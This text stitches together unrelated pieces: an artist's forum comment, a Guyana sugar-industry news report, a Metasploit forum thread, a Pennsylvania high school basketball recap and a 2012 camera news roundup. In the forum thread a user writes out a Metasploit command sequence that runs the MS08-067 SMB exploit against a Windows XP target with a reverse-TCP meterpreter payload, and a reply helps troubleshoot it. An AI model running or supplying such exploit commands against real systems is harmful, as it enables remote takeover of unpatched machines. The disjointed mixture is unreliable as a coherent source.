Perhaps you are right Mike. And thanks very much for all of your inputs and advice. But a year is long enough to know that I'm not likely going to sell much here anyway. I'd rather spend my time making more art, learning and growing as an artist.
The other reason I'm keeping my FAA account is that I may want to get prints made for myself. I have an archival printer at home. I can do archival matte and WC paper. But I may want to make metal or acrylic prints of my work either to hang at home, exhibit, sell or give as gifts which is another reason why I'm keeping the membership going for another year.
Things are always changing here, new features and improvements. Perhaps in the future new features, technologies or court rulings will emerge to better protect artists and their work from theft and infringement - or at least make it safer. Right now Google does what it damn well pleases and answers to no one.

Sugar target already below figure in new five-year plan
In a sign of the continuing problems in the sugar industry, the recently announced target for 2014 is more than 50,000 tonnes less than the projection in GuySuCo's five-year strategic plan unveiled only last year.
GuySuCo's target for 2014 is set at 216,000, an immediate deviation from its 2013-2017 strategic plan which had the industry target for 2014 at 278,752 with the troubled Skeldon factory projected to make 57,915 tonnes. There is no word yet on what the new expected breakdown this year for the seven factories will be.
The 2013-2017 plan was itself meant to put the industry on a recovery path from the earlier blueprint for 2009-2018 which by 2013 was sharply below projections and needed rejigging.
Last year's output of 186,000 tonnes, the lowest in 23 years, has triggered fresh concerns about the fate of the industry and worry that the corporation and the government appear to be without a viable plan.
On Friday, the main sugar industry GAWU went as far as pointing to what it saw as the real, clear and present danger to the industry. Economist, Dr Clive Thomas in a Sunday Stabroek column earlier this year says he is now more than ever convinced that the crisis in the sugar industry has gone beyond the point of no return.
In a new series on the sugar industry, Thomas said "At this point of time (the beginning of 2014), I am now more than ever convinced that the crisis in the sugar industry has passed its tipping-point or point of no return. This means that all hopes for a rational, considered and ordered reform and reconstruction of the industry are lost."
Meanwhile, sources tell Stabroek News that the problem-plagued Skeldon Factory is currently without a manager even as the South African firm, Bosch Engineering, has completed the costly US$30 million rehabilitation work. The US$110M factory which was meant to be the industry flagship has seen disastrous performance over the years and GuySuCo's 2013-2017 plan. Even with the costly improvements, Skeldon is only expected to grind at 71% of its original rated capacity of 350 tonnes of cane per hour. Last year's grinding figure had been 185 tonnes per hour. It is expected to move up to 250 tonnes per hour this year.
The decision to move around the Skeldon factory's management was made by the board of directors of the Guyana Sugar Corporation under its Chairman and future CEO, Raj Singh.
One industry insider stated that the board is making decisions at all levels from supervisors to mid-level management all the way up the corporate structure without consultation. Stabroek News was told that persons within the industry were explicitly told not to speak to the media in relation to how the corporation was being run.
Stabroek News was made to understand Bosch has given GuySuCo a defects liability period which would equate to a month's worth of grinding time at the factory to see if further issues would arise with the six tasks the South African firm was hired to undertake.
The sugar insider stated that the board preferred to handle the defects liability period. Representatives from Bosch were expected over the weekend to check the heavy duty knives, the scratcher, the condensate tank, the plow boiler, super heater and pipe support. Representatives are expected to do a run through prior to Skeldon commencing first crop harvesting for 2014. This would be very late in the year for the first crop.
The hope is that the US$30 million has rectified the myriad issues that have plagued the factory since it was commissioned in 2009. The original contractors, the China National Technical Import and Export Corporation, failed to evaluate mistakes that were made to the supposed turnkey factory and to date GuySuCo has been unable to identify why the defects liability period and penalties were not enforc-ed against the Chinese company.
GuySuCo has also brought in an Indian engineer from Integrated Casetech Consultants Ltd (ICC), based in India to supervise the factory's operation. The sugar corporation has also recruited additional engineers who have completely taken over the management of the Enmore Sugar Factory since the New Year. According to a source the Indian engineer at Skeldon was brought in without consultation with the factory management and that his role was not fully understood.
Stabroek News was told that the board was looking to bring in others and was using Enmore as a model for future foreign contracts. Previously Stabroek News was told by the head of the National Association of Agricultural, Commer-cial and Industrial Employees (NAACIE), Kenneth Joseph, that skilled labour is overlooked in Guyana.
He had previously stated that "the corporation do not feel (that) listening to the workers' voices is important". He added that funding which could be spent in training and ensuring that workers were knowledgeable in their respected fields was spent elsewhere. Joseph had said that the union had requested GuySuCo to send workers to top sugar factories to see how they operated and what would be expected of them. GuySuCo never did and the US$180m Skel-don's factory's production has been dismal. (Pushpa Balgobin)

Have you tried this;
Hi everybody! Sorry for my english. I'm from Russia and i didn't learn in school )))
I have a problem with metasploit. Using BackTrack 4 R2. When I starting db_autopwn, it's show me, that db_autopwn has finished with no sessions. But, when I start it in "manual mode"
it's open me meterpreter session. My Target is WinXP SP3Code:use /windows/smb/ms08_067_netapi set RHOST xxx.xxx.xxx.xxx set PAYLOAD /windows/meterpreter/reverce_tcp set LHOST xxx.xxx.xxx.xxx exploit
What I'm doing wrong?
Have you tried this;
When you run "exploit" in msfconsole, it automatically connects you to the shell. I believe ab_autopwn runs exploit -j which should list the shells you have. (assuming its working properly). It may also be that autopwn isn't properly recognizing the exploit and/or running the payload.
Just an observation

EBENSBURG — While Apollo-Ridge was playing with house money after a Cinderella run to the WPIAL final four, Northern Cambria and its five senior starters had much more on the line in the first round of the state playoffs.
In states for the fourth straight year, the Colts maturely weathered a first-half storm and put away Apollo-Ridge in the second half, holding off the Vikings, 58-53, in a PIAA Class AA boys' basketball game Saturday night at Central Cambria High School.
"Coming into this, the kids didn't want to just set up for one (game)," Northern Cambria coach Dan Weber said. "They got in this with the understanding, we're not coming in here to just win one game or play in this like we did three years ago."
The Colts (22-5) picked up their second state playoff win in that span, improving to 2-3 in PIAA postseason play since 2010.
They earned it against an upstart Apollo-Ridge team (18-9), which knocked off Neshannock, then pulled off stunning upsets of Sto-Rox and Jeannette in the WPIAL playoffs to reach the state tournament for just the second time since 1991.
"I'm really proud of the kids," Apollo-Ridge coach Matt Gourley said. "It's been an historic run for our school. They've enjoyed it. They've got their heads up high in there. It's been a blast for everybody that follows us, myself, my coaches and the whole school. It's really been a lot of fun for us."
The fun continued through the first half for Apollo-Ridge, which grabbed 16 first-half offensive rebounds — Northern Cambria grabbed the same number of defensive boards in that span. The extra scoring chances helped the Vikings as they opened the game on a 14-6 run and led by as many as nine in the first half before going into the break leading 28-24.
"We got a nice little lead there," Gourley said, "but when you play that way, you're going to foul, and that's what happened to us."
Fouls were just one of several problems the Vikings faced in the second half, though. The Colts got rebounder Nick Lee involved after his own foul trouble early, and they slowed things down on offense, getting the ball inside to Jeff Hogan, the 6-foot-3 forward, who scored nine of his 16 points in the second half and led Northern Cambria with 12 rebounds.
"I think our experience helps us," Hogan said. "The last four years we've been in the state playoffs, so we know what it feels like to be here. I don't think any of us got really nervous at all during the game, and I think that helped us tremendously."
"When we were struggling to get offense, down four or six points, we went to him on back-to-back possessions in the block," Weber said. "He delivered two big-time baskets. It just seemed like whenever we were in a position where Apollo was about to break us, we were able to go to Jeff, and Jeff stepped up in a big-time game on a big-time stage."
Josh Bonatesta added 16 points and Adam Polites added 13 for the Colts. Lee finished with eight rebounds.
Tre Tipton paced Apollo-Ridge with a game-high 19 points, including several off offensive boards in the first half, and Connor Billingsley added 15 points.
"We follow a lot of basketball, so we knew they pulled a couple really big upsets," Hogan said. "We knew we had good competition coming in. … Kudos to their guards, they were a lot quicker than we expected."
"We were doing really well on the offensive rebounds," Gourley said. "That just added to our misses. We'd get a rebound, miss it, get a rebound, miss it. We just kept missing the layups, but those guys did a great job on the boards."
It kept the ball in the Vikings' offensive half of the court, and Apollo-Ridge kept the pace fast early on, until Northern Cambria adjusted. The Colts took the ball up the court more slowly on offense, while backing off its press defense with a 1-2-2 halfcourt set in the second half.
"When the game began, I felt like they developed the tempo," Weber said. "The game was being played at their pace. That wasn't who we were, and these kids aren't used to seeing that kind of play."
The Colts' win was their first in states since beating Union-Rimersburg two years ago. All of their state playoff experience had come at the Class A level until Saturday.
They advance to face District 5 champion and play-in winner Conemaugh Township in a second-round game Wednesday at a site and time to be determined.
"This is their 80th win since their freshman year," Weber said of his senior class. "Here's a group that's just used to this. We were down three points going into the fourth quarter versus Richland, first round of the districts. We're not here in this game or the last five games if we don't have composure. It's just been a mainstay."

This week in the news: Canon announces their highly-anticipated 5D Mk III and 600 EX-RT flash; Westcott has a new Flash Modifier; Sony announced new Cybershot cameras; Toshiba announced new tablets for Mobile World Congress; the thinnest K-mount lens ever, and lots more.
This is your B&H Pulse news feed for March 2nd, 2012.
It's finally here: Canon has announced their new 5D Mk III DSLR camera. According to B&H InDepth, the new camera has modest upgrades from its predecessor. There isn't much of a megapixel bump at 22.3 MP, but there are other upgrades. Canon brought the 1D X's 61-point autofocus system into the 5D Mk III, in addition to its new metering system. However, in the 5D Mk III there is only one DIGIC 5 processor. In contrast, in the 1D X, there is a separate processor just to power the meter.
Other upgrades include the 3.2-inch LCD screen at 1,040,000-dots of resolution, plus the bump to 6fps shooting and an HDR shooting mode.
But there are also nice improvements for videographers. You'll be able to shoot video for 29 minutes and 59 seconds at 1080p 24p, 25p and 30p plus 720p HD at 60p. Plus, there is a headphone jack for users that want to monitor their audio without the use of an external recorder.
That's not all Canon outed, though. There is also the new 600 EX-RT Speedlite flash. The new flash replaces the 580 EX II as the new flagship speedlite in the Canon series of flashes. It brings changes in looks and in features from those previous.
There are some significant upgrades here, most prominent of which is the addition of two-way radio transmission to control other flashes, or to have it be controlled by another 600 EX-RT or the new ST-E3-RT radio transmitter.
Other changes include a more significant zoom range of 20mm-200mm—perfect for those shooting with the new Canon 70-200mm f2.8 L II on a full-frame sensor body.
You can read more about the new flash over at B&H InDepth.
Lastly, Canon's new ST-E3-RT transmitter is the company's first step into proprietary radio triggers.
The new transmitter won't be able to control older flashes, because those can only be controlled via an infrared transmission. However, it will be able to control the new 600 EX-RT, due to the fact that this is a radio transmitter. It is capable of controlling 15 speedlites in 5 groups at up to 98.4 ft. Plus, it has E-TTL II flash, manual flash, stroboscopic and external flash metering.
Yesterday, Kodak issued a dealer notice that Ektachrome and Elite Chrome films are being discontinued. According to them, "The three EKTACHROME and ELITE Chrome films will continue to ship until all remaining inventory has been depleted. Orders will be filled on a first come, first served basis. Orders cannot be placed for future delivery."
"We estimate that current supplies should last anywhere from 6 to 9 months at the current sales pace; however inventories may run out before then depending on demand."
RiceHigh spotted this news that seemed to slip under the radar of nearly everyone else. The pancake lens is a 55mm f8, and was created by a Pentax user just to see how thin a lens could really be made for the camera system.
Perhaps Pentax may try to focus more on expanding their current line of pancake lenses after seeing this?
According to Pop Photo, Westcott announced their new PocketBox educational flash modifier kit. The modifiers come in three different varieties: a circle, square and rectangle. They all have silver reflective interiors, and sturdily mount onto the head of any hot-shoe flash.
What makes the kit educational is the bundled DVD with photographer Erin Manning, who teaches users more about how to use flashes.
Over at B&H InDepth is the coverage on the various new Sony Cyber-shot point and shoot cameras that the company announced this week. The new cameras have lots of megapixels, and all incorporate new technology to help get better noise reduction from the sensor. One of the new models, the TX20, is beastly in that it can withstand drops from as high up as five feet (1.52m), and plunges down to 16 feet (4.88m) below the waves, and it's freezepr oof and dustproof, too.
Meanwhile, the HX-30V has Wi-fi connectivitiy, while the HX-200V has a 20x optical zoom
Photography Bay stated that Adobe released Photoshop Touch for the iPad 2. The app isn't as versatile or feature-packed as the desktop version, but it is still quite capable. The software includes layers, blending, free transform and lots more.
Here's a quick demo video:
Geek.com was able to find lots of coverage on some of Toshiba's newest tablets announced at Mobile World Congress. According to Techcrunch and The Verge, the X10 LE is the world's thinnest 10-inch tablet, at just just 7.7mm thick, and weighs 535 grams.
Plus, you'll find an OMAP 4430 dual-core Cortex-A9 chip running at 1.2GHz, 1GB RAM, 5MP rear camera and 1.3MP front camera, and the tablet comes in 16GB and 32GB versions. The screen is a 10.1-inch panel with a 1280 x 800 resolution—perfect for watching movies.
But there's more...
Laptop Magazine was able to get their fingers on the 7.7-inch AT270 tablet. This is a new breed of tablets that aren't quite small enough to be a phone, and not large enough to be a full-sized tablet. What we know is that there is a 1.5GHz quad core chip and a 7.7-inch 1280 x 800 display.
Consumers should be excited to see what may come from manufacturers this year in the new and budding category.
And that's your news for March 2nd, 2012. Be sure to follow all the consumer electronic news you care about on B&H Pulse.
